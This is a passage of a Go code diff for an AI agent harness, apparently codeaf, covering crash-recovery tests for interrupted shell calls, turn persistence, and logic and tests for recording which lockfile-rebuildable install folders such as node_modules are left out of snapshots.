gone := startGroup(t) + self := processgroup.StartOf(selfPID()) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, selfPID(), self) + + reopen(t, wal) + + select { + case <-gone: + t.Fatal("a group whose owner is alive was ended") + case <-time.After(300 * time.Millisecond): + } +} + +func TestReopenNeverTouchesAGroupWhoseLeaderIsNotTheOneRecorded(t *testing.T) { + group, gone := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + staleStart := processgroup.StartOf(group.Process.Pid) + 1 + rewriteGroupStart(t, wal, staleStart) + + reopen(t, wal) + + select { + case <-gone: + t.Fatal("a group whose recorded identity no longer matches was ended") + case <-time.After(300 * time.Millisecond): + } +} + +func rewriteGroupStart(t *testing.T, wal string, start uint64) { + t.Helper() + recs, err := (&WAL{path: wal}).read() + if err != nil { + t.Fatal(err) + } + for i := range recs { + if recs[i].Group != nil { + recs[i].Group.Start = start + } + } + if err := (&WAL{path: wal}).rewrite(recs); err != nil { + t.Fatal(err) + } +} + +// A shell call that a kill -9 leaves behind: the recorder was told the group by +// the tool, and the process died before the call did. +func TestAroundRecordsTheGroupTheToolStarted(t *testing.T) { + group, _ := startGroup(t) + wal := filepath.Join(t.TempDir(), "wal") + r, _ := newRecorder(t, newCell(t), &stubExec{}, wal) + ctx, spawns := executor.WithSpawns(context.Background()) + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"sleep 60"}`), Spawns: spawns} + func() { + defer func() { _ = recover() }() + _ = r.Around(ctx, call, executor.EffectLocal, AgentRun, func() ([]byte, bool) { + executor.Spawned(ctx, group.Process.Pid) + panic("harness died") + }) + }() + + _, rec, err := OpenWAL(wal) + if err != nil || len(rec.Incomplete) != 1 { + t.Fatalf("incomplete %+v, err %v", rec.Incomplete, err) + } + got := rec.Incomplete[0] + if got.Brief != "sleep 60" || len(got.Groups) != 1 || got.Groups[0].PGID != group.Process.Pid || got.Groups[0].Owner != selfPID() { + t.Fatalf("intent %+v", got) + } +} + +func TestInterruptedSaysWhichCallWasCutOffAndClosesOnce(t *testing.T) { + group, _ := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + + cut := reopen(t, wal).Interrupted() + lines := cut.Lines() + if len(lines) != 1 || !strings.Contains(lines[0], "bash: sleep 60") || !strings.Contains(lines[0], "stopped when codeaf was killed — not run again") { + t.Fatalf("lines %q", lines) + } + if note := cut.Note(); !strings.Contains(note, "bash: sleep 60") || !strings.Contains(note, "Do not assume any of them succeeded") { + t.Fatalf("note %q", note) + } + if err := cut.Close(); err != nil { + t.Fatal(err) + } + again := reopen(t, wal).Interrupted() + if len(again.Lines()) != 0 || again.Note() != "" { + t.Fatal("a closed call was told again") + } +} + +func TestAnOlderLogWithoutBriefOrGroupsStillReplays(t *testing.T) { + wal := filepath.Join(t.TempDir(), "wal") + old, _ := json.Marshal(map[string]any{"V": 1, "op": "intent", + "intent": map[string]any{"V": 1, "tool": "bash", "args_hash": "h", "started": 1, "side_effect": "local"}}) + if err := writeLog(wal, string(old)+"\n"); err != nil { + t.Fatal(err) + } + lines := reopen(t, wal).Interrupted().Lines() + if len(lines) != 1 || !strings.HasPrefix(lines[0], "bash — stopped") { + t.Fatalf("lines %q", lines) + } +} + +func TestBriefOfReadsTheArgumentThatNamesTheCall(t *testing.T) { + for args, want := range map[string]string{ + `{"command":"ls -la\n/tmp"}`: "ls -la /tmp", + `{"path":"a/b.go","x":"y"}`: "a/b.go", + `{"other":1}`: "", + `not json`: "", + } { + if got := briefOf([]byte(args)); got != want { + t.Errorf("briefOf(%s) = %q, want %q", args, got, want) + } + } + if long := briefOf([]byte(`{"command":"` + strings.Repeat("x", 200) + `"}`)); len([]rune(long)) != briefMax { + t.Errorf("long brief has %d runes, want %d", len([]rune(long)), briefMax) + } +} + +func selfPID() int { return syscall.Getpid() } + +func writeLog(path, text string) error { + return os.WriteFile(path, []byte(text), 0o600) +} diff --git a/internal/cellstore/persist.go b/internal/cellstore/persist.go new file mode 100644 index 0000000000..7362cbd12a --- /dev/null +++ b/internal/cellstore/persist.go @@ -0,0 +1,175 @@ +package cellstore + +import ( + "bytes" + "encoding/json" + "errors" + "io" + "io/fs" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// tailBytes is how much of turns.jsonl is read to find the last turn; a turn +// line is a few hundred bytes. +const tailBytes = 8192 + +// maxBlob caps a stored external-call output (SCHEMAS.md Q8). A larger stream +// is kept as its hash only. +const maxBlob = 1 << 20 + +// rel joins a cell-relative path onto the cell root. +func rel(c cell.Cell, p string) string { return filepath.Join(c.Root, filepath.FromSlash(p)) } + +// writeFile creates the file's directory and writes it. Content-addressed +// files are idempotent, so no rename dance is needed. +func writeFile(path string, data []byte) error { + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + return os.WriteFile(path, data, 0o600) +} + +// compose writes every harness-owned file the seal will carry: meta.json +// as the harness holds it, the receipt, and the output blobs of external calls. +func (e Engine) compose(c cell.Cell, raw []byte, id string, info TurnInfo) error { + if err := c.RestoreMeta(); err != nil { + return err + } + if err := writeFile(rel(c, ReceiptsDir+"/"+id+".json"), raw); err != nil { + return err + } + if err := writeBlobs(c, info); err != nil { + return err + } + return e.composeExtra(c) +} + +// composeExtra runs the engine's Composer. A cell that seals its own folder has +// nothing outside the tree to carry: what would be composed already sits in it. +func (e Engine) composeExtra(c cell.Cell) error { + if e.Compose == nil || e.cellDir(c) == "" { + return nil + } + return e.Compose.Compose(c) +} + +func writeBlobs(c cell.Cell, info TurnInfo) error { + for _, e := range info.Calls { + for _, out := range [][]byte{e.Stdout, e.Stderr} { + if len(out) == 0 || len(out) > maxBlob { + continue + } + if err := writeFile(rel(c, BlobsDir+"/"+hashHex(out)), out); err != nil { + return err + } + } + } + return nil +} + +// transcriptRange is what the transcript gained since the last seal. A cell +// with no transcript yet has an empty range at zero. +func transcriptRange(c cell.Cell, last *Sealed) Range { + var start, end int64 + if last != nil { + start = last.Receipt.Transcript.End + } + if info, err := os.Stat(rel(c, cell.TranscriptPath)); err == nil { + end = info.Size() + } + // A transcript shorter than the last seal saw was rewound: what it gained + // is counted from where it now ends. + return Range{Start: min(start, end), End: end} +} + +// appendTurn adds the turn to the cell's chain, durably. +func appendTurn(c cell.Cell, t Turn) error { + line, err := json.Marshal(t) + if err != nil { + return err + } + path := rel(c, TurnsPath) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(append(line, '\n')); err != nil { + _ = f.Close() + return err + } + if err := f.Sync(); err != nil { + _ = f.Close() + return err + } + return f.Close() +} + +// Head is the newest sealed turn of the cell and its receipt, or nil for a +// cell that was never sealed. +func Head(c cell.Cell) (*Sealed, error) { + t, err := lastTurn(rel(c, TurnsPath)) + if err != nil { + return nil, err + } + if a, ok := currentAdoption(c); ok { + sealed := a.sealed(t) + return &sealed, nil + } + if t == nil { + return nil, nil + } + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, err + } + return &Sealed{Turn: *t, Receipt: r}, nil +} + +func readReceipt(c cell.Cell, id string) (Receipt, error) { + raw, err := os.ReadFile(rel(c, ReceiptsDir+"/"+id+".json")) + if err != nil { + return Receipt{}, err + } + var r Receipt + return r, json.Unmarshal(raw, &r) +} + +// lastTurn reads the final line of turns.jsonl without reading the rest. +func lastTurn(path string) (*Turn, error) { + f, err := os.Open(path) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + defer f.Close() + tail, err := readTail(f) + if err != nil { + return nil, err + } + line := bytes.TrimSpace(tail[bytes.LastIndexByte(bytes.TrimRight(tail, "\n"), '\n')+1:]) + if len(line) == 0 { + return nil, nil + } + var t Turn + return &t, json.Unmarshal(line, &t) +} + +func readTail(f *os.File) ([]byte, error) { + size, err := f.Seek(0, io.SeekEnd) + if err != nil { + return nil, err + } + from := max(0, size-tailBytes) + if _, err := f.Seek(from, io.SeekStart); err != nil { + return nil, err + } + return io.ReadAll(f) +} diff --git a/internal/cellstore/rebuild.go b/internal/cellstore/rebuild.go new file mode 100644 index 0000000000..aa804444d9 --- /dev/null +++ b/internal/cellstore/rebuild.go @@ -0,0 +1,199 @@ +package cellstore + +import ( + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/chatfiles" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/rebuild" + "github.com/Agent-Field/codeaf/internal/taskcopy" +) + +// Left is an install folder a seal leaves out and the lockfile that rebuilds it. +type Left struct{ Path, Lock string } + +// The reasons a single path is set apart, told to a person in the resume. One +// place, so the seal, the take and the tests say the same words. +const ( + reasonUnreadable = "cannot be read on this machine" + reasonHeld = "its name differs only in letter case or accents from another file, and this machine's file system keeps one" +) + +// Apart is a path set apart from the seal one by one, with why. +type Apart struct{ Path, Reason string } + +// Screened is what a screening found besides secrets: the install folders left +// out of the seal, the lockfiles seen in the tree, and the single paths set +// apart because this machine cannot read them or cannot keep their names. +type Screened struct { + Folders []Left + Locks []string + Apart []Apart +} + +func (s Screened) paths() []string { + out := make([]string, len(s.Folders)) + for i, f := range s.Folders { + out[i] = f.Path + } + return out +} + +// leftOut is the install folders this seal leaves out because a lockfile that +// travels rebuilds them. It is the rule of docs/STAGE-1-CONTRACTS.md section +// 19.4, and each folder that fails any test of it travels with the seal exactly +// as before, so being wrong costs the bytes the seal would have carried anyway. +func (g Guard) leftOut(tree string, changed, locks []string, policy policyFile) Screened { + found := rebuild.Scan(tree, changed, rebuild.Found{Folders: policy.rebuilt, Locks: locks}, policy.isLeftOut) + out := Screened{Locks: found.Locks} + for _, folder := range found.Folders { + if lock, ok := g.licence(tree, folder, policy); ok { + out.Folders = append(out.Folders, Left{Path: folder, Lock: lock}) + } + } + return out +} + +// licence is the lockfile that lets folder stay out of the seal, when there is +// one: the person has not excluded the folder themselves, a lock that will be +// in the seal rebuilds it, and nothing in it is source the project tracks. +func (g Guard) licence(tree, folder string, policy policyFile) (string, bool) { + if policy.isLeftOut(folder) { + return "", false + } + lock, ok := rebuild.LockFor(tree, folder, func(lock string) bool { return g.inSeal(tree, lock, policy) }) + return lock, ok && !rebuild.Tracked(tree, folder) +} + +// inSeal reports whether a lockfile is carried by the seal: the person has not +// excluded it and the secret guard would not hold it back. The other machine +// rebuilds from what it receives, so a lock that does not arrive licenses nothing. +func (g Guard) inSeal(tree, lock string, policy policyFile) bool { + if policy.isLeftOut(lock) { + return false + } + return len(keys.Scanner{Ledger: g.Ledger}.Paths(tree, []string{lock})) == 0 +} + +// ownedBySeal is the record entries the seal's own step writes: the task-copy +// step writes those of the copies and the chat-files step those of the chat's +// logs and journals, and none erases another's. +func ownedBySeal(path string) bool { + return !taskcopy.OwnsWithheld(path) && !chatfiles.OwnsWithheld(path) +} + +// knownLocks is the lockfiles the record already names, so a seal that looks at +// only the changed paths does not forget the rest. +func knownLocks(c cell.Cell) []string { + s, err := inventory.Open(c.Root) + if err != nil { + return nil + } + return s.Snapshot().Lockfiles +} + +// noteLeftOut writes into the record, in the same seal that leaves a folder out, +// which folders those are and what rebuilds each. It is what makes the record +// and the exclusion one fact: a folder is never left out without the next +// machine being able to read that it was. +func noteLeftOut(c cell.Cell, tree string, s Screened, calls []Executed) error { + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.Lockfiles = s.Locks + entries := withheldEntries(inv.Withheld, s.Folders, calls, modifiedAt(tree)) + inv.SetWithheld(ownedBySeal, append(entries, apartEntries(inv.Withheld, s.Apart)...)) + }) +} + +// apartEntries is one record entry per path set apart, with no lockfile: nothing +// rebuilds it. A path already recorded keeps the reason it was given, since the +// take that held a name wrote a more specific one than the seal can. +func apartEntries(before []inventory.Withheld, apart []Apart) []inventory.Withheld { + known := map[string]string{} + for _, w := range before { + known[w.Path] = w.Reason + } + out := make([]inventory.Withheld, 0, len(apart)) + for _, a := range apart { + reason := a.Reason + if prev := known[a.Path]; prev != "" { + reason = prev + } + out = append(out, inventory.Withheld{Path: a.Path, Reason: reason}) + } + return out +} + +// withheldEntries is one record entry per folder left out. A folder keeps the +// command that made it until a later call is seen to change it; one that turns +// up in this seal is credited to the newest successful command of the batch, +// since a command line does not say what it wrote, unless the folder is older +// than that command: then it was there before and nobody is named. +func withheldEntries(before []inventory.Withheld, folders []Left, calls []Executed, modified modTime) []inventory.Withheld { + known := map[string]inventory.Withheld{} + for _, w := range before { + known[w.Path] = w + } + out := make([]inventory.Withheld, 0, len(folders)) + for _, f := range folders { + prev, seen := known[f.Path] + w := inventory.Withheld{Path: f.Path, Lock: f.Lock, MadeBy: prev.MadeBy, Cwd: prev.Cwd} + if call, ok := newestMaker(f.Path, calls, !seen, modified); ok { + w.MadeBy, w.Cwd = inventory.Cleaned(call.Command), inventory.Cwd(call.Dir) + } + out = append(out, w) + } + return out +} + +// newestMaker is the latest successful command that could have written the +// folder: one whose known changes reach into it, or, when the folder is new to +// the record, one that says nothing about what it changed but could have. +func newestMaker(folder string, calls []Executed, fresh bool, modified modTime) (Executed, bool) { + for i := len(calls) - 1; i >= 0; i-- { + call := calls[i] + if call.Command != "" && call.Call.Exit == 0 && wrote(call, folder, fresh && !predates(folder, call, modified)) { + return call, true + } + } + return Executed{}, false +} + +func wrote(call Executed, folder string, fresh bool) bool { + if call.Changed == nil { + return fresh + } + for _, path := range call.Changed { + if inRules([]string{folder}, path) { + return true + } + } + return false +} + +// modTime says when a folder of the tree was last modified, in Unix +// milliseconds; false when it cannot be read. +type modTime func(folder string) (int64, bool) + +// modifiedAt reads folder modification times under the tree. +func modifiedAt(tree string) modTime { + return func(folder string) (int64, bool) { + info, err := os.Stat(filepath.Join(tree, folder)) + if err != nil { + return 0, false + } + return info.ModTime().UnixMilli(), true + } +} + +// predates reports whether the folder was last touched before the call began. +// A command that says nothing about what it changed is credited with a folder +// new to the record, but a folder whose newest change is older than the call +// cannot be its work: it was in the tree before the chat reached it. A folder +// whose time cannot be read is not excused, so the old credit stands. +func predates(folder string, call Executed, modified modTime) bool { + at, ok := modified(folder) + return ok && at < call.Call.Started +} diff --git a/internal/cellstore/rebuild_test.go b/internal/cellstore/rebuild_test.go new file mode 100644 index 0000000000..f6f9ca4107 --- /dev/null +++ b/internal/cellstore/rebuild_test.go @@ -0,0 +1,370 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// look is one screening of the rig's tree, answering what it left out. +func (r *guardRig) look(changed ...string) Screened { + r.t.Helper() + got, err := r.guard.Look(r.cell, r.tree, r.state(), changed, nil) + if err != nil { + r.t.Fatal(err) + } + return got +} + +// folders is the paths a screening left out. +func folders(s Screened) []string { return append([]string(nil), s.paths()...) } + +// commit makes the rig's tree a git repository holding everything in it. +func (r *guardRig) commit() { + r.t.Helper() + for _, args := range [][]string{{"init", "-q"}, {"add", "-A", "-f"}, {"-c", "user.name=t", "-c", "user.email=t@t", "commit", "-qm", "x"}} { + if out, err := gitIn(r.tree, args...); err != nil { + r.t.Fatalf("git %v: %v\n%s", args, err, out) + } + } +} + +func (r *guardRig) npmProject() { + r.write("package-lock.json", `{"lockfileVersion":3}`) + r.write("node_modules/left-pad/index.js", "module.exports = 1\n") +} + +func TestWithholdInstallFolderWithLockfile(t *testing.T) { + r := newRig(t) + r.npmProject() + got := r.look() + if want := []Left{{Path: "node_modules", Lock: "package-lock.json"}}; !reflect.DeepEqual(got.Folders, want) { + t.Fatalf("left out %+v, want %+v", got.Folders, want) + } + if p := r.policy(); !reflect.DeepEqual(p.rebuilt, []string{"node_modules"}) || len(p.withheld) != 0 { + t.Fatalf("policy %+v: the folder belongs in its own block and not the secrets block", p) + } + text, _ := os.ReadFile(filepath.Join(r.state(), policyName)) + if !strings.Contains(string(text), rebuiltTag+"\nexclude node_modules\n") { + t.Fatalf("policy file:\n%s", text) + } +} + +func TestNoLockfileTravels(t *testing.T) { + r := newRig(t) + r.write("package.json", `{"name":"x"}`) + r.write("node_modules/left-pad/index.js", "module.exports = 1\n") + if got := r.look(); len(got.Folders) != 0 || len(r.policy().rebuilt) != 0 { + t.Fatalf("a folder with no lockfile was left out: %+v", got.Folders) + } +} + +func TestLockfileNotCarriedFolderTravels(t *testing.T) { + t.Run("the person excluded the lockfile", func(t *testing.T) { + r := newRig(t) + r.npmProject() + r.write(".furrowpolicy", "exclude package-lock.json\n") + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though its lockfile does not travel", got.Folders) + } + }) + t.Run("the secret guard holds the lockfile back", func(t *testing.T) { + r := newRig(t) + r.npmProject() + r.write("package-lock.json", `{"resolved":"https://x/`+fakeKey+`"}`) + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though its lockfile is held back as a secret", got.Folders) + } + }) +} + +func TestTrackedFilesUnderFolderTravel(t *testing.T) { + r := newRig(t) + r.npmProject() + r.commit() + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though the project tracks files inside it", got.Folders) + } +} + +func TestNearestLockfileWins(t *testing.T) { + r := newRig(t) + r.write("package-lock.json", "{}") + r.write("node_modules/a/i.js", "1") + r.write("desktop/package-lock.json", "{}") + r.write("desktop/node_modules/b/i.js", "1") + r.write("tools/node_modules/c/i.js", "1") + want := []Left{ + {"desktop/node_modules", "desktop/package-lock.json"}, + {"node_modules", "package-lock.json"}, + {"tools/node_modules", "package-lock.json"}, + } + if got := r.look(); !reflect.DeepEqual(got.Folders, want) { + t.Fatalf("left out %+v, want %+v", got.Folders, want) + } +} + +func TestWithholdWithoutGit(t *testing.T) { + r := newRig(t) + r.npmProject() + if _, err := os.Stat(filepath.Join(r.tree, ".git")); err == nil { + t.Fatal("the rig's tree is a repository") + } + if got := r.look(); !reflect.DeepEqual(folders(got), []string{"node_modules"}) { + t.Fatalf("left out %v in a tree with no repository", folders(got)) + } +} + +func TestRequirementsCountsOnlyWhenPinned(t *testing.T) { + r := newRig(t) + r.write("requirements.txt", "requests\nflask==3.0.0\n") + r.write(".venv/lib/x.py", "1") + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("an unpinned requirements file licensed %+v", got.Folders) + } + r.write("requirements.txt", "# pins\nrequests==2.32.0\nflask==3.0.0 # web\n") + if got := r.look(); !reflect.DeepEqual(got.Folders, []Left{{".venv", "requirements.txt"}}) { + t.Fatalf("a fully pinned requirements file left out %+v", got.Folders) + } +} + +func TestLockChangeKeepsFolderOut(t *testing.T) { + r := newRig(t) + r.npmProject() + first := r.look() + r.write("package-lock.json", `{"lockfileVersion":3,"packages":{"node_modules/left-pad":{}}}`) + again := r.look("package-lock.json") + if !reflect.DeepEqual(first.Folders, again.Folders) { + t.Fatalf("a dependency added between seals moved the folder: %+v then %+v", first.Folders, again.Folders) + } +} + +// A folder that a previous seal left out stays out even where it is not on the +// disk: that is the machine a chat moved to, and the folder a setup turn is +// about to bring back. +func TestAbsentFolderStaysKnownUntilItsLockIsGone(t *testing.T) { + r := newRig(t) + r.npmProject() + r.look() + if err := os.RemoveAll(filepath.Join(r.tree, "node_modules")); err != nil { + t.Fatal(err) + } + if got := r.look("app.js"); !reflect.DeepEqual(folders(got), []string{"node_modules"}) { + t.Fatalf("left out %v after the folder left the machine", folders(got)) + } + if err := os.Remove(filepath.Join(r.tree, "package-lock.json")); err != nil { + t.Fatal(err) + } + if got := r.look("package-lock.json"); len(got.Folders) != 0 { + t.Fatalf("still left out %+v with no lockfile to rebuild it", got.Folders) + } +} + +func TestPersonExcludeIsNotRecorded(t *testing.T) { + c := newCell(t) + tree := t.TempDir() + g := Guard{Home: t.TempDir(), Notify: func(string) {}} + for rel, body := range map[string]string{".furrowpolicy": "exclude node_modules\n", "package-lock.json": "{}", "node_modules/x/i.js": "1"} { + writeTree(t, tree, map[string]string{rel: body}, 0o644) + } + got, err := g.Look(c, tree, stateDir(c), nil, nil) + if err != nil { + t.Fatal(err) + } + if err := noteLeftOut(c, c.Root, got, nil); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + if p, _ := readPolicy(tree, stateDir(c)); len(p.rebuilt) != 0 || len(got.Folders) != 0 || len(inv.Snapshot().Withheld) != 0 { + t.Fatalf("the person's own exclusion was taken over: policy %+v, folders %+v, record %+v", p, got.Folders, inv.Snapshot().Withheld) + } +} + +func TestFailedInstallStillLeftOut(t *testing.T) { + c := newCell(t) + folders := []Left{{Path: "node_modules", Lock: "package-lock.json"}} + failed := Executed{Call: Call{Exit: 1}, Command: "npm ci"} + if err := noteLeftOut(c, c.Root, Screened{Folders: folders}, []Executed{failed}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + want := []inventory.Withheld{{Path: "node_modules", Lock: "package-lock.json"}} + if got := inv.Snapshot().Withheld; !reflect.DeepEqual(got, want) { + t.Fatalf("record %+v, want the folder named with no maker: a half-finished install is rebuilt from the lock as well", got) + } +} + +func TestMadeByNamesTheCommandThatWroteTheFolder(t *testing.T) { + c := newCell(t) + left := []Left{{Path: "web/node_modules", Lock: "web/package-lock.json"}} + install := Executed{Call: Call{Tool: "bash"}, Command: "cd web && API_KEY=sk-abcdefghijklmnopqrstuvwx npm ci"} + read := Executed{Call: Call{Tool: "read"}} + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{install, read}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + got := inv.Snapshot().Withheld[0] + if got.MadeBy != "cd web && API_KEY=… npm ci" { + t.Fatalf("made_by %q: the newest command that could have written it, cleaned of secrets", got.MadeBy) + } + // A later seal that names no maker keeps the first one. + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{read}); err != nil { + t.Fatal(err) + } + inv2, _ := inventory.Open(c.Root) + if again := inv2.Snapshot().Withheld[0]; again.MadeBy != got.MadeBy { + t.Fatalf("made_by %q after a seal that saw nothing", again.MadeBy) + } +} + +// One seal through the whole path: a folder is never left out without the record +// saying so in the same seal. +func TestWithheldAlwaysRecorded(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + writeTree(t, c.Root, map[string]string{ + "package-lock.json": "{}", "node_modules/a/i.js": "1", + "web/package-lock.json": "{}", "web/node_modules/b/i.js": "1", + }, 0o644) + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}); err != nil { + t.Fatal(err) + } + policy, err := readPolicyAt(c.Root) + if err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + var recorded []string + for _, w := range inv.Snapshot().Withheld { + recorded = append(recorded, w.Path) + } + if len(policy.rebuilt) != 2 || !reflect.DeepEqual(policy.rebuilt, recorded) { + t.Fatalf("left out %v but the record names %v", policy.rebuilt, recorded) + } + if locks := inv.Snapshot().Lockfiles; !reflect.DeepEqual(locks, []string{"package-lock.json", "web/package-lock.json"}) { + t.Fatalf("lockfiles %v", locks) + } +} + +// The engine's own behaviour, on the real binary: a folder left out is not in +// the snapshot, and a local copy of it is never deleted by a restore or a rewind. +func TestTakeBackLeavesLocalInstallFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "src/a.txt": "one\n"}, `{"n":1}`) + writeTree(t, c.Root, map[string]string{"src/a.txt": "damaged\n"}, 0o644) + if err := e.Restore(context.Background(), c, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "node_modules/a/i.js")); string(got) != "mine\n" { + t.Fatalf("the machine's own install folder was changed by a restore: %q", got) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "src/a.txt")); string(got) != "one\n" { + t.Fatalf("the restore did not restore: %q", got) + } + }) +} + +func TestRewindKeepsLeftOutFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "a.txt": "one\n"}, `{"n":1}`) + sealStep(t, e, c, map[string]string{"a.txt": "two\n"}, `{"n":2}`) + mustRewind(t, e, c, first.Turn.ID) + if got, _ := os.ReadFile(filepath.Join(c.Root, "node_modules/a/i.js")); string(got) != "mine\n" { + t.Fatalf("a rewind changed the left-out folder: %q", got) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "a.txt")); string(got) != "one\n" { + t.Fatalf("the rewind did not rewind: %q", got) + } + }) +} + +// What a snapshot holds is what a machine that receives it has: a tree damaged +// down to nothing and restored comes back without the folder that was left out. +func TestSnapshotDoesNotHoldTheLeftOutFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "src/a.txt": "one\n"}, `{"n":1}`) + for _, p := range []string{"node_modules", "src"} { + if err := os.RemoveAll(filepath.Join(c.Root, p)); err != nil { + t.Fatal(err) + } + } + if err := e.Restore(context.Background(), c, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(c.Root, "node_modules")); err == nil { + t.Fatal("the folder that was left out came back from the snapshot") + } + if _, err := os.Stat(filepath.Join(c.Root, "src/a.txt")); err != nil { + t.Fatalf("what was not left out did not come back: %v", err) + } + }) +} + +// A setup turn that brings the folder back does not put it into the next seal. +func TestRestoredFolderStaysOut(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "1", "a.txt": "1"}, `{"n":1}`) + if err := os.RemoveAll(filepath.Join(c.Root, "node_modules")); err != nil { + t.Fatal(err) + } + sealStep(t, e, c, map[string]string{"a.txt": "2"}, `{"n":2}`) + sealStep(t, e, c, map[string]string{"node_modules/a/i.js": "rebuilt", "node_modules/b/i.js": "rebuilt"}, `{"n":3}`) + policy, _ := readPolicyAt(c.Root) + if !reflect.DeepEqual(policy.rebuilt, []string{"node_modules"}) { + t.Fatalf("policy %+v: the rebuilt folder was taken back into the seal", policy) + } + }) +} + +// folderAged makes a folder in the tree and dates its last change. +func folderAged(t *testing.T, tree, folder string, at time.Time) { + t.Helper() + dir := filepath.Join(tree, folder) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.Chtimes(dir, at, at); err != nil { + t.Fatal(err) + } +} + +func madeByAfterOneCall(t *testing.T, folderAt time.Time, call Executed) inventory.Withheld { + t.Helper() + c := newCell(t) + folderAged(t, c.Root, "node_modules", folderAt) + left := []Left{{Path: "node_modules", Lock: "package-lock.json"}} + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{call}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + return inv.Snapshot().Withheld[0] +} + +func TestFolderThatPredatesTheChatNamesNoMaker(t *testing.T) { + started := time.Now() + first := Executed{Call: Call{Tool: "bash", Started: started.UnixMilli()}, Command: "echo edited >> README.md"} + got := madeByAfterOneCall(t, started.Add(-time.Hour), first) + if got.MadeBy != "" || got.Cwd != "" { + t.Fatalf("record %+v: the folder was there before the first command, so no command made it", got) + } +} + +func TestFolderCreatedDuringTheChatNamesItsCommand(t *testing.T) { + started := time.Now().Add(-time.Minute) + install := Executed{Call: Call{Tool: "bash", Started: started.UnixMilli()}, Command: "npm ci"} + got := madeByAfterOneCall(t, started.Add(time.Second), install) + if got.MadeBy != "npm ci" { + t.Fatalf("made_by %q, want the command that ran while the folder came to be", got.MadeBy) + } +} diff --git a/internal/cellstore/receipt.go b/internal/cellstore/receipt.go new file mode 100644 index 0000000000..da53070099 --- /dev/null +++ b/internal/cellstore/receipt.go @@ -0,0 +1,145 @@ +package cellstore + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// hashHex is the id of a byte string. SHA-256 stands in until the store's +// BLAKE3 lands, as in internal/inventory; only this function changes then. +func hashHex(b []byte) string { + sum := sha256.Sum256(b) + return hex.EncodeToString(sum[:]) +} + +// newReceipt builds a turn's receipt from what its calls did. +func newReceipt(info TurnInfo, transcript Range, at time.Time) Receipt { + r := Receipt{V: schemaV, Transcript: transcript, Calls: []Call{}, ModelCalls: info.Models, SealedAtMs: at.UnixMilli()} + for _, e := range info.Calls { + r.Calls = append(r.Calls, e.Call) + r.Services = append(r.Services, e.Services...) + } + return r +} + +// quality is the seal rule: exact iff no call left a process alive. +func quality(info TurnInfo) Quality { + for _, e := range info.Calls { + if !e.Exact { + return Turbulent + } + } + return Quiescent +} + +// encode is the receipt's persisted bytes and their id. +func (r Receipt) encode() (raw []byte, id string, err error) { + raw, err = json.Marshal(r) + return raw, hashHex(raw), err +} + +// serviceRec drops everything machine-specific from a service: argv[0] is a +// basename (L1). +func serviceRec(pid int, argv []string, ports []int) ServiceRec { + out := append([]string(nil), argv...) + if len(out) > 0 { + out[0] = filepath.Base(out[0]) + } + return ServiceRec{PID: pid, Argv: out, Ports: ports} +} + +// modelCallOf is a model call as the receipt holds it. +func modelCallOf(m executor.ModelCall) ModelCall { + return 